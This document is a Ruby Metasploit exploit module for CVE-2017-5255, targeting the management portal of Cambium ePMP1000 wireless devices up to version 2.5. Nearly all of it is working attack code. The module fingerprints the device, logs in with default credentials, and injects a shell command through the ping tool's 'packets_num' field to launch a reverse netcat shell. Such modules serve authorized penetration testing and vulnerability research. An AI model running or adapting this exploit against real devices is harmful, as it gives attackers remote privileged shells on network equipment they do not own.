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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name' => "Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)",
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      'Description' => %{
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          This module exploits an OS Command Injection vulnerability in Cambium
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          ePMP1000 device management portal. It requires any one of the following login
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          credentials - admin/admin, installer/installer, home/home - to set up a reverse
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          netcat shell.
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      },
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      'License' => MSF_LICENSE,
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      'Author' =>
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        [
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          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
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        ],
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      'References' =>
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        [
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          ['CVE', '2017-5255'],
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          ['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
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          ['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
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        ],
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      'Privileged' => true,
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      'Targets' =>
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        [
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          ['EPMP',
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            {
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              'Arch' => ARCH_CMD,
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              'Platform' => 'unix'
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            }
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          ]
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        ],
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      'DisclosureDate' => '2015-11-28',
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      'DefaultTarget'  => 0,
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      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })
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    )
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    register_options(
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      [
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        Opt::RPORT(80),	# Application may run on a different port too. Change port accordingly.
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        OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
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        OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
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      ], self.class
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    )
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    deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
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  end
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  #
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  # Fingerprinting
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  #
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  def is_app_epmp1000?
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    begin
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      res = send_request_cgi(
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        {
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          'uri'       => '/',
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          'method'    => 'GET'
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        }
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      )
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    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
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      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
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      return false
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    end
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    good_response = (
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      res &&
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      res.code == 200 &&
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      (res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
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    )
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    if good_response
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      get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
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      if !get_epmp_ver.nil?
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        epmp_ver = get_epmp_ver[1]
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        if !epmp_ver.nil?
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          print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
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          return true, epmp_ver
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        else
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          print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
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          epmp_ver = ''
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          return true, epmp_ver
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        end
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      end
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    else
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      print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
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      epmp_ver = nil
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      return false
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    end
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  end
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  #
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  # check
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  #
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  def check
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    success, epmp_ver = is_app_epmp1000?
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    if (success != 'false' && !epmp_ver.nil? && epmp_ver < '2.5')
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      return CheckCode::Vulnerable
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    else
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      return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using ~the module~'
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    end
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  end
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  #
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  # Login
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  #
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  def login(user, pass)
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    res = send_request_cgi(
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      {
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        'uri' => '/cgi-bin/luci',
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        'method' => 'POST',
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        'headers' => {
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          'X-Requested-With' => 'XMLHttpRequest',
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          'Accept' => 'application/json, text/javascript, */*; q=0.01'
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        },
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        'vars_post' =>
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          {
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            'username' => 'dashboard',
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            'password' => ''
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          }
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      }
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    )
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    cookies = res.get_cookies_parsed
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    check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
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    good_response = (
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      res &&
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      res.code == 200 &&
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      check_sysauth.include?('sysauth')
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    )
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    if good_response
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      sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
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      sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
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      cookie1 = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
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      res = send_request_cgi(
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        {
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          'uri' => '/cgi-bin/luci',
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          'method' => 'POST',
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          'cookie' => cookie1,
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          'headers' => {
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            'X-Requested-With' => 'XMLHttpRequest',
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            'Accept' => 'application/json, text/javascript, */*; q=0.01',
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            'Connection' => 'close'
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          },
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          'vars_post' =>
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            {
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              'username' => user,
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              'password' => pass
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            }
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        }
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      )
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      cookies = res.get_cookies_parsed
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      good_response = (
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        res &&
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        res.code == 200 &&
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        !res.body.include?('auth_failed')
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      )
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      if good_response
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        print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
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        # check if max_user_number_reached?
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        if !res.body.include?('max_user_number_reached')
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        # get the final cookie now
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          cookies = res.get_cookies_parsed
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          stok_value = cookies.has_key?('stok') && cookies['stok'].first
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          sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
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          sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
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          final_cookie = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + stok_value
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          # create config_uri
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          config_uri_ping = '/cgi-bin/luci/;stok=' + stok_value + '/admin/ping'
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          return final_cookie, config_uri_ping
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        else
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          print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
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          final_cookie = 'skip'
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          config_uri_ping = 'skip'
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          return final_cookie, config_uri_ping
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        end
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      else
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        print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
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        final_cookie = 'skip'
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        config_uri_ping = 'skip'
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        return final_cookie, config_uri_ping
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      end
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    end
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  end
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  #
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  # open cmd_shell
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  #
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  def cmd_shell(config_uri, cookie)
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    command = payload.encoded
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    inject = '|' + "#{command}" + ' ||'
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    clean_inject = CGI.unescapeHTML(inject.to_s)
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    print_status('Sending payload...')
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    res = send_request_cgi(
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      {
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        'method' => 'POST',
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        'uri' => config_uri,
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        'cookie' => cookie,
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        'headers' => {
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          'Accept' => '*/*',
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          'Accept-Language' => 'en-US,en;q=0.5',
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          'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
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          'X-Requested-With' => 'XMLHttpRequest',
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          'Connection' => 'close'
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        },
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        'vars_post' =>
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          {
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            'ping_ip' => '127.0.0.1', # This parameter can also be used for injection
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            'packets_num' => clean_inject,
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            'buf_size' => 0,
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            'ttl' => 1,
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            'debug' => '0'
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          }
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      }, 25
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    )
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    handler
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  end
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  # exploit
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  def exploit
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    success, epmp_ver = is_app_epmp1000?
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    if epmp_ver < '2.5'
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      cookie, config_uri_ping = login(datastore['USERNAME'], datastore['PASSWORD'])
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      if cookie == 'skip' && config_uri_ping == 'skip'
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        return
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      else
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        cmd_shell(config_uri_ping, cookie)
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      end
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    else
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      print_error('This ePMP version is not vulnerable. Module will not continue.')
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      return
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    end
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  end
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end
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